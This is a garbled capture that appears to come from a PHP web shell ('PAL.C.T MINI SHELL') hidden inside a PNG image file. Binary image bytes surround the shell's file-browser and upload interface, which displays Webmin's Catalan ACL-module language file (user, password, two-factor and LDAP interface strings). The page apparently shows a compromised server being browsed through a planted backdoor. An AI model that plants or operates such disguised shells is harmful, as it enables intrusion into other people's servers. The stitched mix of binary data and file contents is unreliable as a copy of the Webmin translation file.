php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/acl/lang/
upload
files >> //usr/libexec/webmin/acl/lang/ca

index_title=Usuaris de Webmin 
index_user=Usuari
index_modules=Mòduls
index_create=Crea un nou usuari Webmin.
index_convert=Converteix els Usuaris Unix a Usuaris Webmin
index_cert=Demana un Certificat SSL
index_twofactor=Autenticació de Dos Factors
index_certmsg=Fes clic en aquest botó per demanar un certificat SSL que et permetrà de connectar a Webmin de forma segura sense haver d'introduir un nom d'usuari i una contrasenya.
index_return=a la llista d'usuaris
index_none=Cap
index_edit=Edició del Mòdul ACL:
index_global=ACL Global
index_users=Usuaris Webmin
index_groups=Grups Webmin
index_group=Grup
index_nousers=No hi ha cap usuari Webmin editable definit.
index_nogroups=No hi ha cap grup Webmin definit.
index_gcreate=Crea un nou grup Webmin.
index_members=Membres
index_modgroups=Mòduls del grup $1
index_sync=Configura la Sincronització d'Usuaris Unix
index_unix=Configura l'Autenticació d'Usuaris Unix
index_sessions=Visualitza les Sessions d'Entrada
index_rbac=Configura RBAC
index_delete=Suprimeix els Seleccionats
index_joingroup=Afegeix al Grup:
index_eulist=No s'han pogut llistar els usuaris: $1
index_eglist=No s'han pogut llistar els grups: $1

edit_title=Edició d'Usuari Webmin
edit_title2=Creació d'Usuari Webmin
edit_readonly=Aquest usuari Webmin no s'hauria d'editar, per tal com es troba gestionat pel mòdul $1. <a href='$2'>Fes clic aquí</a> per ignorar aquest avís i editar l'usuari - però tingues en compte que els canvis manuals poden ser reescrits!
edit_rights=Drets d'accés de l'usuari Webmin
edit_user=Usuari
edit_cloneof=Clonació de l'usuari Webmin
edit_real=Nom real
edit_group=Membre del grup
edit_pass=Contrasenya
edit_same=La mateixa de Unix
edit_lock=No s'accepta cap contrasenya
edit_pam=Autenticació PAM
edit_unix=Autenticació Unix
edit_extauth=Programa extern d'autenticació
edit_dont=No ho canviïs
edit_set=Estableix a
edit_passlocked=La contrasenya no s'ha canviat en $1 dies - s'ha bloquejat el compte!
edit_passmax=La contrasenya no s'ha canviat en $1 dies - s'ha de canviar a la pròxima entrada
edit_passold=La contrasenya es va canviar per darrer cop fa $1 dies
edit_passtoday=La contrasenya es va canviar fa menys d'un dia
edit_modules=Mòduls
edit_clone=Clona
edit_twofactor=Tipus d'autenticació de dos factors
edit_twofactorprov=S'està utilitzant el proveïdor $1 amb ID $2
edit_twofactorcancel=Elimina el requeriment d'autenticació de dos factors
edit_twofactornone=Encara no n'hi ha cap de configurada
edit_twofactoradd=Activa Dos Factors Per a l'Usuari
edit_lang=Idioma
edit_notabs=Categoritza els mòduls
edit_logout=Temps d'expulsió per inactivitat
edit_mins=minuts
edit_chars=lletres
edit_minsize=Llargada mínima de la contrasenya
edit_nochange=Força període de canvi de contrasenya
edit_cert=Nom del certificat SSL
edit_none=Cap
edit_ips=Control d'accés IP
edit_all=Permet-lo des de totes les adreces
edit_allow=Permet-lo només des de les adreces llistades
edit_deny=Denega'l des de les adreces llistades
edit_ipdesc=El control d'accés IP de l'usuari funciona igual que el control d'accés IP global del mòdul de Configuració de Webmin. Només si l'usuari passa els controls globals s'aplicaran també els d'aquí.
edit_skill=Nivell expert
edit_risk=Nivell de risc
edit_risk_high=Superusuari
edit_risk_medium=Administrador
edit_risk_low=Usuari normal
edit_groupmods=(A més a més dels mòduls del grup)
edit_euser=No tens permís per editar aquest usuari
edit_egone=L'usuari seleccionat ja no existeix!
edit_ecreate=No tens permís per crear usuaris
edit_theme=Tema de la interfície personal
edit_themeglobal=De la Configuració de Webmin
edit_themedef=Tema antic de Webmin
edit_overlay=Capa del tema personal
edit_overlayglobal=Cap - utilitza els valors per defecte del tema
edit_log=Mostra els Registres
edit_selall=Selecciona'ls tots
edit_invert=Inverteix la selecció
edit_hide=Amaga els No Utilitzats
edit_switch=Canvia a l'Usuari
edit_return=a l'usuari Webmin
edit_return2=al grup Webmin
edit_rbacdeny=Mode d'accés RBAC
edit_rbacdeny0=RBAC només controla les ACLs dels mòduls seleccionats
edit_rbacdeny1=RBAC controla totes les ACLs i mòduls
edit_global=Permisos per a tots els mòduls
edit_templock=Temporalment bloquejat
edit_temppass=Força el canvi a la pròxima entrada
edit_days=Dies de la setmana permesos
edit_alldays=Cada dia
edit_seldays=Només els dies seleccionats
edit_hours=Hores del dia permeses
edit_allhours=Qualsevol
edit_selhours=De $1:$2 a $3:$4
edit_ui=Opcions de la interfície d'usuari
edit_security=Opcions de seguretat i límits
edit_mods=Mòduls Webmin disponibles
edit_modsg=Mòduls Webmin disponibles (a més a més d'aquells del grup)
edit_proto=Tipus d'emmagatzematge
edit_proto_mysql=Base de dades MySQL
edit_proto_postgresql=Base de dades PostgreSQL
edit_proto_ldap=Servidor LDAP
edit_proto_=Fitxers locals

save_err=No s'ha pogut desar l'usuari
save_ename='$1' no és un nom d'usuari vàlid
save_enamewebmin=El nom d'usuari 'webmin' està reservat per a ús intern
save_edup=El nom d'usuari '$1' ja està en ús
save_eoverlay=No es pot seleccionar una capa de tema si no s'ha seleccionat cap tema
save_edeny=No et pots denegar l'accés al mòdul d'usuaris de Webmin a tu mateix.
save_eos=L'opció de contrasenya "La mateixa de Unix" no està suportada pel sistema operatiu.
save_emd5=L'opció de contrasenya "La mateixa de Unix" no es pot utilitzar en sistemes que utilitzen el xifratge MD5
save_eunix=L'usuari unix '$1' no existeix
save_emod=No pots concedir accés al mòdul '$1'
save_ecreate=No tens permís per crear usuaris
save_euser=No tens permís per editar aquest usuari
save_ecolon=Les contrasenyes no poden contenir el caràcter :
save_epass=La contrasenya no és vàlida: $1
save_eself=La teva adreça IP actual ($1) quedaria denegada
save_epam=L'autenticació PAM no està disponible, ja que el mòdul <tt>Authen::PAM</tt> de Perl no està instal·lat o no funciona adequadament.
save_epam2=Pots utilitzar el mòdul Webmin de Mòduls per <a href='$1'>descarregar i instal·lar ara Authen::PAM</a>.
save_egroup=No tens permís per assignar a aquest grup
save_enone=No has introduït cap adreça
save_enet='$1' no és una adreça de xarxa vàlida
save_emask='$1' no és una màscara de subxarxa vàlida
save_eip='$1' no és una adreça IP ni una adreça de xarxa completa
save_ehost=No s'ha pogut trobar l'adreça IP de '$1'
save_elogouttime=Hi falta el temps d'expulsió per inactivitat o bé no és numèric
save_eminsize=Hi falta la llargada mínima de la contrasenya o bé no és numèrica
save_edays=No has seleccionat cap dia permès
save_ehours=Hi falten les hores permeses o bé són invàlides
save_ehours2=L'hora permesa inicial ha de ser anterior a la final
save_etemp=L'opció de forçar el canvi de contrasenya a la pròxima entrada no es pot utilitzar si no actives la <a href='$1'>petició als usuaris de nova contrasenya</a>

delete_err=No s'ha pogut suprimir l'usuari
delete_eself=No et pots esborrar a tu mateix
delete_ecannot=No tens permís per suprimir usuaris
delete_euser=No tens permís per suprimir aquest usuari
delete_eanonuser=Aquest usuari s'està utilitzant per a l'accés del mòdul anònim

cert_title=Petició de Certificat
cert_issue=Emissió de Certificat
cert_header=Detalls del nou certificat
cert_msg=Aquest formulari permet demanar un certificat client SSL que s'utilitzarà en el futur per concedir-te l'accés a Webmin, en lloc del teu nom d'usuari i contrasenya. Això és més segur, però com que l'autenticació és automàtica, no podràs canviar a un usuari diferent utilitzant el certificat.
cert_ebrowser=Webmin no sap com generar certificats client per al teu navegador ($1)
cert_cn=El teu nom
cert_email=La teva adreça e-mail
cert_ou=Departament
cert_o=Organització
cert_sp=Comarca
cert_c=Codi de país
cert_key=Mida de la clau
cert_done=El certificat de $1 s'ha generat amb èxit.
cert_pickup=<a href='$1'>Fes clic aquí per obtenir el teu certificat i instal·lar-lo al navegador</a>
cert_install=Instal·la el certificat al navegador
cert_ekey=No s'ha tramès la nova clau SSL al teu navegador - pot ser que no suporti certificats client SSL.
cert_eca=No s'ha pogut establir l'autoritat certificadora: $1
cert_already=Atenció - ja estàs utilitzant el certificat $1.
cert_etempdir=El fitxer de certificat és invàlid

acl_title=Control d'Accés al Mòdul
acl_title2=Per a $1 de $2
acl_title3=Per al grup $1 de $2
acl_options=Opcions de control d'accés de $1
acl_config=Pot editar la configuració del mòdul
acl_reset=Reinicia a Accés Total
acl_rbac=Obtingues la configuració de control d'accés de RBAC
acl_rbacyes=Sí (ignora la configuració de sota)

acl_uall=Tots els usuaris
acl_uthis=Aquest usuari
acl_usel=Usuaris seleccionats. ..
acl_gr=Membres de $1
acl_users=Usuaris que poden ser editats
acl_mods=Pot concedir accés a
acl_all=Tots els mòduls
acl_own=Només els seus propis mòduls
acl_sel=Mòduls seleccionats...
acl_create=Pot crear usuaris nous
acl_delete=Pot suprimir usuaris
acl_rename=Pot reanomenar usuaris
acl_acl=Pot editar el control d'accés al mòdul
acl_lang=Pot canviar l'idioma
acl_chcert=Pot canviar el nom del certificat SSL
acl_euser=No tens permís per editar l'ACL d'aquest usuari
acl_egroup=No tens permís per editar ACLs de grups
acl_emod=No tens permís per editar l'ACL d'aquest mòdul
acl_others=Pot veure mòduls inaccessibles
acl_cert=Pot demanar certificat
acl_err=No s'ha pogut desar el control d'accés
acl_groups=Pot editar grups
acl_gassign=Pot assignar usuaris a grups
acl_gall=Tots els grups
acl_gsel=Seleccionats...
acl_gnone=Cap
acl_perms=Els grups creats de nou obtenen
acl_perms_1=El mateix control d'accés al mòdul que el creador
acl_perms_0=El control d'accés al mòdul per defecte (sense restriccions)
acl_sync=Pot configurar la sincronització d'usuaris
acl_unix=Pot configurar l'autenticació Unix
acl_sessions=Pot visualitzar i cancel·lar sessions d'entrada
acl_cats=Pot canviar la categorització
acl_theme=Pot canviar el tema personal
acl_ips=Pot canviar el control d'accés IP
acl_switch=Pot canviar a altres usuaris
acl_times=Pot canviar les hores d'entrada permeses
acl_pass=Pot canviar les restriccions de contrasenyes
acl_sql=Pot configurar la base de dades d'usuaris i grups

log_modify=S'ha modificat l'usuari Webmin $1
log_rename=S'ha renomenat l'usuari Webmin $1 a $2
log_create=S'ha creat l'usuari Webmin $1
log_clone=S'ha clonat l'usuari Webmin $1 a $2
log_delete=S'ha suprimit l'usuari Webmin $1
log_acl=S'ha actualitzat l'accés de $1 a $2
log_reset=Reinicia l'accés de $1 a $2
log_cert=S'ha emès el certificat de l'usuari $1
log_modify_g=S'ha modificat el grup Webmin $1
log_rename_g=S'ha renomenat el grup Webmin $1 a $2
log_create_g=S'ha creat el grup Webmin $1
log_delete_g=S'ha suprimit el grup Webmin $1
log_switch=S'ha canviat a l'usuari Webmin $1
log_delete_users=S'han suprimit $1 grups Webmin
log_delete_groups=S'han suprimit $1 grups Webmin
log_joingroup=S'han afegit $1 usuaris Webmin al grup $2
log_pass=S'han canviat les restriccions de contrasenyes
log_unix=S'ha canviat l'autenticació d'usuari Unix
log_sync=S'ha canviat la sincronització d'usuari Unix
log_sql=S'ha canviat la base de dades d'usuaris i grups
log_twofactor=S'ha assignat l'usuari $1 amb el proveïdor de dos factors $2
log_onefactor=S'ha desassignat l'usuari $1 de l'autenticació de dos factors

gedit_ecannot=No tens permís per editar grups
gedit_title=Edició de Grups Webmin
gedit_title2=Creació de Grup Webmin
gedit_group=Nom del grup
gedit_rights=Drets d'accés del grup Webmin
gedit_modules=Mòduls dels membres
gedit_members=Usuaris membres i grups
gedit_desc=Descripció del grup
gedit_egone=El grup seleccionat ja no existeix!

gdelete_err=No s'ha pogut suprimir el grup
gdelete_ecannot=No tens permís per suprimir grups
gdelete_euser=No pots suprimir el teu propi grup
gdelete_esub=Els grups amb subgrups no es poden suprimir
gdelete_title=Suprimeix el Grup
gdelete_desc=Segur que vols suprimir el grup $1 el usuaris membres $2?
gdelete_ok=Suprimeix el Grup

gsave_err=No s'ha pogut desar el grup
gsave_ename=Hi falta el nom del grup o no és vàlid
gsave_enamewebmin=El nom de grup 'webmin' està reservat per a ús intern
gsave_edup=El nom del grup ja està en ús
gsave_edesc=Descripció invàlida - el caràcter : no està permès

convert_title=Conversió d'Usuaris
convert_ecannot=No tens permís per convertir l'usuari Unix
convert_nogroups=No hi ha cap grup Webmin definit. Cal crear almenys un grup per tal de definir els permisos dels usuaris convertits.
convert_desc=Aquest formulari permet la conversió dels usuaris Unix existents a usuaris Webmin. Els permisos de cada usuari Webmin es determinaran segons el grup seleccionat més avall.
convert_0=Tots els usuaris
convert_1=Només els usuaris
convert_2=Tots excepte els usuaris
convert_3=Usuaris amb grup
convert_4=Usuaris amb UID en el rang
convert_group=Assigna els nous usuaris al grup Webmin
convert_sync2=En el futur, sincronitza la contrasenya amb l'usuari Unix
convert_ok=Converteix-los Ja
convert_err=No s'han pogut convertir els usuaris
convert_eusers=No s'ha introduït cap usuari per convertir
convert_egroup=El grup Unix no existeix
convert_emin=UID mínim invàlid
convert_emax=UID màxim invàlid
convert_ewgroup=Aquest grup Webmin no existeix
convert_ewgroup2=No tens permís per assignar nous usuaris a aquest grup
convert_skip=S'està ometent $1
convert_exists=$1 ja existeix
convert_invalid=$1 no és un nom d'usuari Webmin vàlid
convert_added=S'està afegint $1
convert_msg=S'estan convertint els usuaris Unix...
convert_user=Usuari Unix
convert_action=Acció presa
convert_done=S'han convertit $1 usuaris, se n'han trobat $2 d'invàlids, $3 ja existeixen, $4 s'han exclòs.
convert_users=Usuaris a convertir

sync_title=Sincronització d'Usuari Unix
sync_desc=Aquest formulari permet configurar la sincronització automàtica dels usuaris Unix creats a través de Webmin i els usuaris d'aquest mòdul.
sync_nogroups=No hi ha cap grup Webmin definit al sistema. Hi ha d'haver almenys un grup creat per establir l'accés dels usuaris creats.
sync_when=Quan cal sincronitzar
sync_create=Crea un usuari Webmin quan es creï un usuari Unix.
sync_update=Quan s'actualitza un usuari Unix, actualitza l'usuari Webmin que hi coincideixi.
sync_delete=Quan se suprimeixi un usuari Unix, suprimeix l'usuari Webmin que hi coincideixi.
sync_group=Assigna nous usuaris al grup Webmin
sync_unix=Estableix la contrasenya dels usuaris nous a l'autenticació Unix.
sync_ecannot=No tens permís per configurar la sincronització.

unix_title=Autenticació d'Usuaris Unix
unix_err=No s'ha pogut desar l'autenticació Unix
unix_desc=Aquesta pàgina permet configurar Webmin per validar els intents de connexió contra la llista d'usuaris del sistema i PAM. Això pot ser útil si tens un gran nombre d'usuaris Unix als quals vols donar accés a Webmin.
unix_def=Permet la connexió només als usuaris de Webmin
unix_sel=Permet que entrin els usuaris Unix llistats a sota...
unix_mode=Permet
unix_mall=Tots els usuaris
unix_group=Els membres del grup...
unix_user=L'usuari Unix...
unix_who=L'Usuari o Grup
unix_to=Com a usuari Webmin
unix_ecannot=No tens permís per configurar l'autenticació d'usuaris Unix
unix_epam=L'autenticació d'usuaris Unix no està disponible, donat que el mòdul de Perl <tt>Authen::PAM</tt> no està instal·lat o no funciona adequadament.
unix_all=Permet tots els usuaris Unix
unix_allow=Permet només els usuaris Unix llistats
unix_deny=Denega els usuaris Unix llistats
unix_none=No has introduït cap usuari
unix_euser='$1' no és un usuari a vàlid
unix_egroup='$1' no és un grup vàlid
unix_shells=Denega els usuaris Unix  les shells dels quals no són al fitxer
unix_eshells=Hi falta el fitxer de shells o bé no existeix
unix_restrict2=Restriccions addicionals
unix_ewhogroup=Hi falta el grup permès a la fila $1
unix_ewhouser=Hi falta l'usuari permès a la fila $1
unix_enone=No has introduït cap usuari ni grup Unix permès
unix_same=&lt;El mateix usuari o grup&gt;
unix_sudo=Permet que els usuaris que poden executar totes les ordres via <tt>sudo</tt> entrin com a <tt>root</tt>
unix_pamany=Tracta les entrades que només passen la validació PAM com a $1
unix_esudo=L'ordre $1 no està instal·lada
unix_esudomod=El mòdul Perl $1 necessari per a l'autenticació <tt>sudo</tt> no està instal·lat
unix_header=Paràmetres d'autenticació d'usuari Unix
unix_utable=Usuaris Unix permesos

sessions_title=Sessions d'Entrada Actuals
sessions_id=ID de sessió
sessions_user=Usuari Webmin
sessions_login=Darrera activitat a
sessions_host=Adreça IP
sessions_lview=Visualitza els registres...
sessions_actions=Accions...
sessions_logouts=Mostra també les sessions desconnectades...
sessions_state=Estat
sessions_this=Aquesta entrada
sessions_in=Connectat
sessions_out=Desconnectat
sessions_kill=Desconnecta...

logins_title=Entrades recents a Webmin

hide_title=Amaga els Mòduls No Utilitzats
hide_desc=Els mòduls següents es trauran de la llista d'accés de mòduls de $1, ja que els seus corresponents servidors no estan instal·lats al sistema...
hide_ok=Amaga els Mòduls Ara
hide_none=No hi ha res per amagar - $1 no té accés a cap mòdul el servidor del qual no estigui instal·lat al sistema.
hide_desc2=Tingues en compte que aquests mòduls no reapareixeran automàticament si s'instal·len els servidors corresponents. Hauràs de concedir l'accés manualment utilitzant aquest mòdul.
hide_clone=(Clona $1)

switch_euser=No tens permís per canviar a aquest usuari
switch_eold=No s'ha trobat la sessió existent!

rbac_title=Configuració de RBAC
rbac_desc=La integració de Webmin amb RBAC proporciona una forma de determinar els permisos d'ACL i mòduls d'usuari des d'una base de dades RBAC (Role Based Access Control), en lloc d'utilitzar els fitxers propis de configuració de Webmin. Un cop s'ha activat el suport RBAC, tot usuari per al qual s'hagi seleccionat l'opció <b>RBAC controla totes les ACLs i mòduls</b> tindrà les seves capacitats determinades per RBAC en lloc de la configuració de control d'accés de Webmin.
rbac_esolaris=De moment, RBAC només està suportat per Solaris, així que no es pot utilitzar en aquest sistema $1.
rbac_eperl=El mòdul Perl $1 necessari per a la integració amb RBAC no està instal·lat. Fes clic <a href='$2'>aquí</a> per instal·lar-lo ara.
rbac_ecpan=No tens accés a la pàgina de Mòduls Perl de Webmin per tal d'instal·lar el mòdul $1 necessari per a la integració amb RBAC.
rbac_ok=La integració amb RBAC està disponible en aquest sistema, i es pot activar en base a cada usuari a la pàgina d'Edició d'Usuaris Webmin.

udeletes_err=No s'han pogut suprimir els usuaris
udeletes_jerr=No s'han pogut afegir els usuaris al grup
udeletes_enone=No n'has seleccionat cap
udeletes_title=Supressió d'Usuaris
udeletes_rusure=Segur que vols suprimir els $1 usuaris seleccionats? Es perdran tots els seus detalls i totes les seves configuracions de control d'accés.
udeletes_users=Usuaris seleccionats: $1
udeletes_ok=Suprimeix els Usuaris
udeletes_ereadonly=Un dels usuaris seleccionats està marcat com a no editable

gdeletes_err=No s'han pogut suprimir els grups
gdeletes_title=Supressió de Grups
gdeletes_rusure=Segur que vols suprimir els $1 grups seleccionats i els $2 usuaris que contenen? Es perdran totes les seves configuracions de control d'accés i tots els detalls dels usuaris.
gdeletes_users=Grups seleccionats: $1
gdeletes_ok=Suprimeix els Grups

pass_title=Restriccions de Contrasenyes
pass_ecannot=No tens permís per editar les restriccions de contrasenyes
pass_header=Opcions de reforç de contrasenyes de Webmin
pass_minsize=Llargada mínima de la contrasenya
pass_nominsize=Sense mínim
pass_regexps=Expressió regular que han de complir les contrasenyes
pass_regdesc=Descripció humanament llegible de l'expressió regular
pass_maxdays=Dies abans del canvi de contrasenya
pass_lockdays=Dies abans del bloqueig del compte amb la contrasenya sense canviar
pass_nomaxdays=No cal canviar-la mai
pass_nolockdays=El compte no es bloqueja mai
pass_nouser=Rebutja les contrasenyes iguals que el nom d'usuari
pass_nodict=Rebutja paraules de diccionari
pass_oldblock=Nombre de contrasenyes antigues a rebutjar
pass_nooldblock=No hi ha límit en la reutilització de contrasenyes
pass_days=dies
pass_pass=contrasenyes
pass_err=No s'han pogut desar les restriccions de contrasenyes
pass_eminsize=Hi falta la llargada mínima de la contrasenya o bé és invàlida
pass_emaxdays=Hi falta el nombre de dies abans del canvi de contrasenya o bé és invàlid
pass_elockdays=Hi falta el nombre de dies abans del bloqueig de compte o bé és invàlid
pass_eoldblock=Hi falta el nombre de contrasenyes antigues a rebutjar o bé és invàlid

cpass_minsize=Ha de tenir almenys $1 lletres de llarg
cpass_notre=Coincideix amb un patró rebutjat
cpass_re=No coincideix amb el patró demanat
cpass_name=Conté el nom d'usuari
cpass_dict=És una paraula de diccionari
cpass_spellcmd=No es troben instal·lades ni l'ordre $1 ni la $2 que calen per comprovar paraules de diccionari
cpass_old=Les contrasenyes antigues no es poden reutilitzar

sql_title=Base de Dades d'Usuaris i Grups
sql_ecannot=No tens permís per configurar la base de dades d'usuaris i grups
sql_header=Opcions de tipus de base de dades d'usuaris i grups
sql_host=Host
sql_user=Usuari
sql_pass=Contrasenya
sql_db=Nom de la base de dades
sql_ssl=Xifratge de la connexió
sql_ssl0=Cap
sql_ssl1=SSL
sql_ssl2=TLS
sql_userclass=Classe d'objecte dels usuaris
sql_groupclass=Classe d'objecte dels grups
sql_euserclass=Hi falta la classe d'objecte dels usuaris o bé és invàlida
sql_egroupclass=Hi falta la classe d'objecte dels grups o bé és invàlida
sql_none=Utilitza només fitxers locals per a emmagatzemar els usuaris i els grups
sql_mysql=Utilitza una base de dades MySQL
sql_postgresql=Utilitza una base de dades PostgreSQL
sql_ldap=Utilitza un servidor LDAP
sql_prefix=Crea sota DN
sql_addto0=Afegeix els nous usuaris a la base de dades seleccionada més amunt
sql_addto1=Afegeix els nous usuaris a fitxers locals
sql_emod=Hi falta el mòdul Perl necessari <tt>$1</tt>
sql_etable=No s'ha pogut consultar la taula $1 requerida: $2
sql_eldapdn=No s'ha trobat el DN LDAP base $1
sql_eclass=No existeix la classe d'objecte LDAP $1 a l'esquema del servidor
sql_err=No s'han pogut desar els paràmetres de la base de dades d'usuaris i grups
sql_ehost=Hi falta el nom de host o bé no es pot resoldre
sql_euser=Hi falta el nom d'usuari o bé és invàlid (no es permeten espais)
sql_epass=Contrasenya invàlida (no es permeten espais)
sql_edb=Nom de base de dades invàlid (no es permeten espais)
sql_eprefix=Hi falta el DN base o bé és invàlid (no es permeten espais)
sql_eprefix2=El DN base sembla invàlid - ha de ser una cosa com ara <tt>dc=elmeudomini,dc=com</tt>
sql_title2=Creació de les Taules que Falten
sql_tableerr=Els paràmetres de la base de dades d'usuaris i grups són vàlids, però hi falten algunes taules que Webmin necessita: $1
sql_tableerr2=Fes clic al botó <b>Crea les Taules</b> de sota per fer que es creïn automàticament, o bé executa manualment el SQL d'aquí sota.
sql_make=Crea les Taules
sql_title3=Creació del DN que Falta
sql_dnerr=Els paràmetres de la base de dades d'usuaris i grups són vàlids, però hi falta el DN LDAP que Webmin necessita: $1
sql_dnerr2=Fes clic al botó <b>Crea el DN</b> de sota per fer que es creï automàticament, o bé afegeix-lo manualment al servidor LDAP.
sql_makedn=Crea el DN
sql_schema=Descarrega l'Esquema LDAP

make_title=Creació de les Taules d'Usuaris i Grups
make_err=No s'han pogut crear les taules d'usuaris i grups
make_exec=S'està executant el SQL $1...
make_failed=...la creació ha fallat: $1
make_done=.. .fet
make_still=S'han trobat alguns problemes, tot i haver-se creat les taules: $1

makedn_title=Creació del DN LDAP
makedn_eoc=No s'ha trobat cap classe d'objecte estructural!
makedn_exec=S'està creant el DN pare $1...
makedn_failed=...la creació ha fallat: $1
makedn_done=...fet
makedn_still=S'han trobat alguns problemes, tot i que s'ha creat el DN: $1

schema_title=Descàrrega de l'Esquema LDAP
schema_desc=Abans que Webmin pugui utilitzar un servidor LDAP per a emmagatzemar usuaris i grups, cal configurar-lo per a utilitzar l'esquema de sota. Habitualment, això es pot fer desant la definició de l'esquema a <tt>/etc/ldap/schema</tt> o <tt>/etc/openldap/schema</tt> com a <tt>webmin.schema</tt>, i configurant llavors el servidor per a utilitzar aquest fitxer d'esquema.
schema_download=Descarrega el fitxer d'esquema: <a href=$1>$1</a>

twofactor_err=La configuració de l'autenticació de dos factors ha fallat
twofactor_euser=No s'ha trobat el teu usuari Webmin!
twofactor_title=Autenticació de Dos Factors
twofactor_disable=Desactiva l'Autenticació de Dos Factors
twofactor_already=El teu usuari Webmin ja té activada l'autenticació de dos factors amb el proveïdor $1 i l'ID de compte $2.
twofactor_already2=L'usuari Webmin $3 ja té activada l'autenticació de dos factors amb el proveïdor $1 i l'ID de compte $2.
twofactor_desc=Aquesta pàgina et permet d'activar l'autenticació de dos factors per al teu usuari Webmin utilitzant <a href='$2' target=_blank>$1</a>. Un cop activa, es demanarà un testimoni d'autenticació addicional en entrar a Webmin.
twofactor_desc2=Aquesta pàgina et permet d'activar l'autenticació de dos factors per a l'usuari Webmin $3 utilitzant <a href='$2' target=_blank>$1</a>. Un cop activa, es demanarà un testimoni d'autenticació addicional en entrar a Webmin.
twofactor_enable=Assigna Autenticació de Dos Factors
twofactor_header=Detalls de l'assignació de l'autenticació de dos factors
twofactor_enrolling=S'està assignant l'autenticació de dos factors amb el proveïdor ...
twofactor_failed=...l'assignació ha fallat: $1
twofactor_done=...completa. El teu ID amb aquest proveïdor és <tt>$1</tt>.
twofactor_setup=L'autenticació de dos factors encara no s'ha activat al sistema, però es pot activar utilitzant el mòdul de <a href='$1'>Configuració de Webmin</a>.
twofactor_ebutton=No has fet clic a cap botó!
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`